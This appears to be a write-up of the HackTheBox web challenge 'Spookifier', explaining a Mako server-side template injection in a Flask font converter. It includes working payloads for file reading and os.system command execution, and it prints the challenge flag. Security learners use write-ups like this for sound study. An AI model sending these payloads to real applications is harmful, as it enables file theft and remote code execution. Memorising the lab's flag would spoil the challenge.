Note
The 'spookify' font tool renders user input through a Mako template (flask-mako), so ${7*7} → 49. Mako exposes Python directly, so ${open('../../flag.txt').read()} reads the flag — no import gymnastics needed.
Spookifier — Mako SSTI → file read
Platform: HackTheBox · Category: Web (server-side) · Stack: Flask + flask-mako (Mako templates)
Challenge overview
A "spooky font" converter echoes your ?text= back in several fonts. The converted strings are formatted
into a template string and rendered with Mako:
def generate_render(converted_fonts):
result = '''<tr><td>{0}</td></tr> ... '''.format(*converted_fonts)
return Template(result).render() # mako.template.Template — user text reaches here
One of the font maps (font4) passes characters through unchanged, so the raw input lands inside the
Mako template → SSTI.
Exploit
Mako uses ${ ... } for expressions and lets you call arbitrary Python:
?text=${7*7} -> 49 (confirms SSTI)
?text=${open('../../flag.txt').read()} (read the flag directly)
Unlike Jinja2, Mako exposes Python builtins directly in ${}, so open(...).read() works without
walking __globals__/__builtins__. (${__import__('os').system('...')} also runs, but the response
only reflects expression values, so open().read() is the clean exfil.)
HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}
Flag: HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}
Takeaways (generalized techniques)
Template(user_controlled).render()is SSTI, regardless of engine. Test${7*7}(Mako/JSP-style) and{{7*7}}(Jinja/Twig) to fingerprint the engine.- Mako is less sandboxed than Jinja2:
${...}evaluates plain Python, soopen(),__import__,os.systemare reachable directly — no__globals__/__builtins__chain required. Preferopen(path).read()when the sink reflects expression values. - A "harmless formatting" feature (font converter, markdown styler) is still a template sink if any branch routes raw input into the template body.
Sources & references
- Challenge source:
hackthebox/web/Spookifier - Mako SSTI: https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/